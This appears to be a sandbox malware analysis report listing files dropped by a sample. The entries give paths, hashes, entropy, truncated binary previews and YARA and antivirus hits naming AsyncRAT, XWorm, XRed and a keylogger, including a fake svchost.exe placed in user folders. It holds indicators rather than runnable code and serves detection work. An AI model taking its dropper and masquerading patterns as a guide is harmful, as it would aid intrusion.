Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="kUgqNEIRLB97BSSSbaU7xA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\uTHEco6.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.25318494467462
Encrypted:	false
SSDEEP:	24:GgsF+0jSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+A+pAZewRDK4mW
MD5:	22A27CCD13A73283E67298711CABE8AB
SHA1:	A52DC445E2257D96E6B43B7F7D057401DB9D9C1A
SHA-256:	D45E912D73A49061E964404D8B122AB6E2E91596C3691F680A48BF8FC8CD0DB6
SHA-512:	7CC2E311605B8CD0E838764145D730909DAC2EDCF9E9D43A0BE2AF834EADAF35673A7186BEAE4F58C5AF8699A4F480F5F19CCBF97B1550E1F65DEA5DD3425E96
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="m_2tkRic7qgoryI8BXTS9g">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\umYHOqQ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.261915037508511
Encrypted:	false
SSDEEP:	24:GgsF+05SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+u+pAZewRDK4mW
MD5:	6536610620F3F92815E7AE116CCBC073
SHA1:	5B2C4AB0638EE1686C43828B684C28446FEA247C
SHA-256:	AE01CB0CE99F1B661CB466FD8232512A4F1BFC6554839E64C34FE72BB3D3F229
SHA-512:	FA49649DE9BAA00FF6723C226CAC6BAC6BEF75C61B93BE1F64607389876913CD11DCA87B47501DEE202051B6813BAB0AAD3890B713C09391C22931FB0D8EB3D6
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="tF_pHGDBxV-swyumFPSmwQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\vFjEvxX.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.262638602165055
Encrypted:	false
SSDEEP:	24:GgsF+0ESHSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+fS+pAZewRDK4mW
MD5:	590B11897122E87C4E8A553B38B9DE46
SHA1:	E5915F332FF3C923D6A376260E9CA4C133390FBB
SHA-256:	7B82130EB7777AC9BA9AFB40B21793AAB50A4F2CC4199A9B2ACB4A603470E11C
SHA-512:	C67BE70015D6F60703CC02B9D73754C4196465C491484DFF090AB6C37873B87396BCB97B4653CA125D796997F87AF8DE994ED6013E313752DACC78F677E80BE4
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="MlSrJHviSxrGHG-BwSXlVg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\vsynGEO.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.264455578428633
Encrypted:	false
SSDEEP:	24:GgsF+0k+DSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+pu+pAZewRDK4mW
MD5:	CE7322C2B38E49F49A5E950F9B957E54
SHA1:	F7E8E0F5A29F69DD9187C418C58FA9BD232128F3
SHA-256:	486F5E8D9EAC53F0300A78711F599D3761C32121658A86EE76967BE735C4D405
SHA-512:	3807A0D806801D38C0F7A6044C389E09102C7B9EC503ECCAC9D9F45C7F991DF66152DB6665A3A2B0094E541E72BFC4C9BBB9426B4F36F02EDF3827E5BB216054
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="8yt_jN-fgyOYC9XihuHOCw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\wXQNVe3.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.276247384909084
Encrypted:	false
SSDEEP:	24:GgsF+08zSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Lz+pAZewRDK4mW
MD5:	335A06EFA583ABCA57C58B7F3D613FFF
SHA1:	A9F784C0398916EDA1D0F614AA01450BC31BB4F3
SHA-256:	DC6135C02F5F11EE663CD491CF6CAAD71909CC06CCAF867C4135ECDDF3D6ED53
SHA-512:	0B23ED075D156900A6FD956F012589E396CD5BD100AC4BC34676C7F4554AAD84055812AF09366EE637598BF9579F0D69C9207DBC7844660DC9FB516BCB4D5B83
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Ya8whHPRYvQ2MJX7zEl62A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\wxMSbOn.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.258274142073201
Encrypted:	false
SSDEEP:	24:GgsF+03SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+w+pAZewRDK4mW
MD5:	F11D612DE41D8751A49BC06237E02FF0
SHA1:	7D0607504D5268CF57E10A8CE4800DFB4EC9AFEF
SHA-256:	1EB8B8C1D99F1BAA1DC231CEC1F8FC303756EC23F1DAE8E5EED0F145B0167EA3
SHA-512:	3FEC0D3B7EE3D5EA7A1145480228ACFAD3823CE4B43804DCA686E1192A49F4CFC03B384BA449598EBBC9FAC0E33C2205520FB3D5393DEFAB75A9AA15D08BD369
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="qsgGgGfOLxhFo5S55LPeRA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\xAjjbMg.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.264437653519044
Encrypted:	false
SSDEEP:	24:GgsF+0H3SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+E+pAZewRDK4mW
MD5:	8E15E79BC85284A610F4521D659F8125
SHA1:	7C7EE9CBD2EA23D08136F6369DD0345E1F677457
SHA-256:	5D2BC323A7716A639AEEDE2090709A8F68D9F1CD1E1379A38132BD7D7FAFE7E6
SHA-512:	5D84BEE11029D71BE2E559D9B49349A306B6FFF4524A4C98489FD983E2D1C8B13A7E10EDDD8331F0064CA6E1C8962E400E94B9F2A032E90FBF387D705298CC1F
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="GG7IxwfM8nFtdy4QXZadDA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\xbizP1Y.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, ASCII text, with very long lines (1024), with no line terminators
Category:	modified
Size (bytes):	1024
Entropy (8bit):	5.233520408926636
Encrypted:	false
SSDEEP:	24:GgsF+0hXDSU6pepPQfkZbc6cn1BZdAe1c:GgK+GD+pAZe+
MD5:	3782FFA01818FE14FACCE4C52A35C501
SHA1:	21B6618AA89E2027F8042711E8156248E101AFC3
SHA-256:	5897A397FCCCDF213F79750FEC802175632FC7CFF79FAED02911D61A25A6687C
SHA-512:	FC05C4DB9A938AF1D5D67708B6EA1531196D430CE5D1CAD18DCF7EE6450A370A41904165F6A81FDB170D6C440B43A64F3040F1D325CE5CED9D5F560E9D66FE07
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="y1dWqfdeeCTXOevuP1_Tgw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\~$5hfnY6TV.xlsm

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.7769794087092887
Encrypted:	false
SSDEEP:	3:iXKG/4N+RMlW8td:iXlMlW8/
MD5:	37BD8218D560948827D3B948CAFA579C
SHA1:	24347FB0A66F2DA8AD3BAB818E3C24977104E5DA
SHA-256:	189E2D5600E0CC41F498D2EB22FA451F81746DCDBAA3EC1146A22C3A74452DA6
SHA-512:	A34D703FEBFD9E45A57BF047D9CCF890482B0F7CD3788F9BFD89DECA13B96DD4F43BDB0C4D81CC716DEAC37BCD1C393A7BCB159B471B5721B367E4884B17C699
Malicious:	false
Preview:	.user ..f.r.o.n.t.d.e.s.k. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\AppData\Local\Temp\~DF5D971380D884AB7C.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.746897789531007
Encrypted:	false
SSDEEP:	192:QuY+pHkfpPr76TWiu0FPZK3rcd5kM7f+ihdCF3EiRcx+NSt0ckBCecUSaFUH:ZZpEhSTWi/ekfzaVNg0c4gU
MD5:	7426F318A20A187D88A6EC88BBB53BAF
SHA1:	4F2C80834F4B5C9FCF6F4B1D4BF82C9F7CCB92CA
SHA-256:	9AF85C0291203D0F536AA3F4CB7D5FBD4554B331BF4254A6ECD99FE419217830
SHA-512:	EC7BAA93D8E3ACC738883BAA5AEDF22137C26330179164C8FCE7D7F578C552119F58573D941B7BEFC4E6848C0ADEEF358B929A733867923EE31CD2717BE20B80
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Fulloptionnew_by elegance.exe

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4173824
Entropy (8bit):	7.450816327180769
Encrypted:	false
SSDEEP:	49152:mkB2fm0tI2+vb67PeDV/jVuoMLBXVn/oPD2I0F1QSO23dwoQB1cBYATrxl0Amtft:mkB2l2vO7yqLu2nF1QSbtwPalNl0Dl
MD5:	15DC7DDE51858F43E9845F72213C042D
SHA1:	B38343E5A2237127BE195C758CBD7A403E876A7E
SHA-256:	F71EDEA8C4AE6C4C3A44F352E9D6CB89124FEA7C7FC48E1585BB11D7BBEFD74B
SHA-512:	322ED64C448E3AD02D83B2C48A2927230647073FFD020ACEB4868DE8E783B57446A7274099CDF58CF4BF02A125284990B5BC8BE20BED548FD7C34354BCF37182
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\Users\user\AppData\Roaming\Fulloptionnew_by elegance.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 62%
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......7.$.s.J.s.J.s.J.z..e.J..l..z.J..lI.w.J..lN.y.J..lO.T.J..lK.u.J...N...J..N.q.J..O.q.J..N.i.J.8.K.S.J....t.J.s.K.q.J.gkC.\|.J.gk..r.J.gkH.r.J.Richs.J.................PE..d....l.f.........."....(.....F+......b.........@..............................@.....C.@...`.................................................p...l....P<......p;...............?.8....}..p....................~..(...@\|..@...............p............................text...P........................... ..`.rdata..RU.......V..................@..@.data...._!......,!.................@....pdata.......p;...... ;.............@..@.rsrc........P<.......;.............@..@.reloc..8.....?.......?.............@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\svchost.exe

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	812544
Entropy (8bit):	6.631307658437056
Encrypted:	false
SSDEEP:	12288:mMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9Tsj:mnsJ39LyjbJkQFMhmC+6GD9Y
MD5:	9F3EE8AEF394F4FDB98EAD98EC6C1F9B
SHA1:	C84A6C4F0A9D0060EACF0A4D5CD46D3955BEC846
SHA-256:	3A6BBE08BB25BB2612F38D254F484E51F69182B3D0FA876660887ED57575A361
SHA-512:	E5F7A6494C0D53388314DCF8CAC5016D7EC7936F1CA91AE4AF936749AC164DBD11046DD56E704E03B609E74B9A8698D235C2CA82E9587D610D028F3FA047EAD8
Malicious:	true
Yara Hits:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\Users\user\AppData\Roaming\svchost.exe, Author: Joe Security Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Users\user\AppData\Roaming\svchost.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Roaming\svchost.exe, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Roaming\svchost.exe, Author: Joe Security Rule: rat_win_xworm_v3, Description: Finds XWorm (version XClient, v3) samples based on characteristic strings, Source: C:\Users\user\AppData\Roaming\svchost.exe, Author: Sekoia.io Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Roaming\svchost.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B..........................................@..............................................@..............................B......0....................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...0...........................@..P....................................@..P........................................................................................................................................

C:\Users\user\Desktop\._cache_file.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4996608
Entropy (8bit):	7.999381782788262
Encrypted:	true
SSDEEP:	98304:k+T6Kn5kBqUMWirt49K9nWBp5doWp/IZviyJr:kxK3z49K9I5B0vJ
MD5:	ADC3667C6060DFDCB6F41BD2B01C31A3
SHA1:	54C39168B2D76C54F62F9BA266754581FF599D2D
SHA-256:	BAB41EE900B96A6C768996D935BA44C391C14003C30A278A8AC1E32EBE49A1A6
SHA-512:	F57A33B28854855EB00EBDD3B0BC8B644BFBACBAD9EB2A66364A662640D237202613FF43348CF405C28F6045855D97CA6928DA4FC88906EC47BCE2282530D726
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....vXg.................4L..........RL.. ...`L...@.. ........................L...........@..................................RL.S....`L.......................L...................................................... ............... ..H............text....3L.. ...4L................. ..`.rsrc........`L......6L.............@..@.reloc........L......<L.............@..B.................RL.....H........<L.............v%..L.L...........................................(......(.....s.........s.........s.........s............0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0............(....(.....+......0...........(.....+....0...............(.....+....0...........(.....+....0................-.(...+.+.+...+...0...........................(.....0.. .......~.........-.(...+.....~.....+....(.....0..

C:\Users\user\Desktop\._cache_svchost.exe

Download File

Process:	C:\Users\user\AppData\Roaming\svchost.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	5.579052656098095
Encrypted:	false
SSDEEP:	768:MWwYyt6YWwAIxBWPA6Z9tF5Pa9GFOwhE332hiF0:+Y4R3AImPA+vFY9GFOwWme0
MD5:	5390ED74A0C3C880FDD6D0E2D135BFE1
SHA1:	0DBE542E0FE98E17E877F2E5D1DD6DC252943F41
SHA-256:	48CA5393CC5F72125E9677A9833E86B4BD65AA4A9C167C6171A2D38359B100D9
SHA-512:	54699E0C3DBA1D2DF00ACA934264FBF728BC2185024D577F3CE2325A9A04467E5B52D15E5F3A5689FE839AFA48175765D55F941879076DE8012F4BB84FAB9CD7
Malicious:	true
Yara Hits:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\Users\user\Desktop\._cache_svchost.exe, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\Desktop\._cache_svchost.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\Desktop\._cache_svchost.exe, Author: Joe Security Rule: rat_win_xworm_v3, Description: Finds XWorm (version XClient, v3) samples based on characteristic strings, Source: C:\Users\user\Desktop\._cache_svchost.exe, Author: Sekoia.io Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\Desktop\._cache_svchost.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 87%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...vvXg................................. ........@.. ....................................@.................................l...O.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........[...X............................................................(......(.....s.........s.........s.........s............0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0............(....(.....+......0...........(.....+....0...............(.....+....0...........(.....+....0................-.(...+.+.+...+...0...........................(.....0.. .......~.........-.(...+.....~.....+....(.....0..

C:\Users\user\Documents\GAOBCVIQIJ.xlsm

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	18387
Entropy (8bit):	7.523057953697544
Encrypted:	false
SSDEEP:	384:oUaZLPzMfVSa1VvYXmrsdPkLmDAx7r/l0:oUatwNSSvY2IdsHr/y
MD5:	E566FC53051035E1E6FD0ED1823DE0F9
SHA1:	00BC96C48B98676ECD67E81A6F1D7754E4156044
SHA-256:	8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
SHA-512:	A12F56FF30EA35381C2B8F8AF2446CF1DAA21EE872E98CAD4B863DB060ACD4C33C5760918C277DADB7A490CB4CA2F925D59C70DC5171E16601A11BC4A6542B04
Malicious:	false
Preview:	PK..........!...5Qr...?.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-..@.5.....(..8...-.[.g.......M^..s.5.4.I..P;..!....r....}._.G.`....Y....M.7....&.m1cU..I.T.....`.t...^.Bx..r..~0x....6...`....reb2m.s.$.%...-c.{...dT.m.kL]Yj.\|..Yp..".G.......r...).#b.=.QN'...i..w.s..$3..)).....2wn..ls.F..X.D^K.......Cj.sx..E..n._ ....pjUS.9.....j..L...>".....w.... ....l{.sd...G.....wC.F... D..1<..=...z.As.]...#l..........PK..........!..U0#....L......._rels/.rels ...(...............

C:\Users\user\Documents\~$GAOBCVIQIJ.xlsx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.7769794087092887
Encrypted:	false
SSDEEP:	3:iXKG/4N+RMlW8td:iXlMlW8/
MD5:	37BD8218D560948827D3B948CAFA579C
SHA1:	24347FB0A66F2DA8AD3BAB818E3C24977104E5DA
SHA-256:	189E2D5600E0CC41F498D2EB22FA451F81746DCDBAA3EC1146A22C3A74452DA6
SHA-512:	A34D703FEBFD9E45A57BF047D9CCF890482B0F7CD3788F9BFD89DECA13B96DD4F43BDB0C4D81CC716DEAC37BCD1C393A7BCB159B471B5721B367E4884B17C699
Malicious:	false
Preview:	.user ..f.r.o.n.t.d.e.s.k. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\Documents\~$cache1

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1003008
Entropy (8bit):	6.840624859639759
Encrypted:	false
SSDEEP:	12288:3MSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V924TMb9AHfebsXlD:3nsJ39LyjbJkQFMhmC+6GD9F+9AHyut
MD5:	5F13DA6171A270D4427F9857F94A265E
SHA1:	39092601FB30E41A2DB756DB4288B312FF487B66
SHA-256:	75F23B14400518742C65AEA6244D7BC1A711440CF0A9EEA303E009243CD43732
SHA-512:	59A7B7F75A23A7DCE24A1C3BBFC5083985874220CB523B78C609C046BEF3FD8A119534A38C1E2719E61D116571F4F899A32ECF3F778964E8400F3E4F5F0990BD
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Users\user\Documents\~$cache1, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\Documents\~$cache1, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B..........................................@..............................................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Users\user\svchost.exe

Download File

Process:	C:\Users\user\Desktop\._cache_svchost.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	5.579052656098095
Encrypted:	false
SSDEEP:	768:MWwYyt6YWwAIxBWPA6Z9tF5Pa9GFOwhE332hiF0:+Y4R3AImPA+vFY9GFOwWme0
MD5:	5390ED74A0C3C880FDD6D0E2D135BFE1
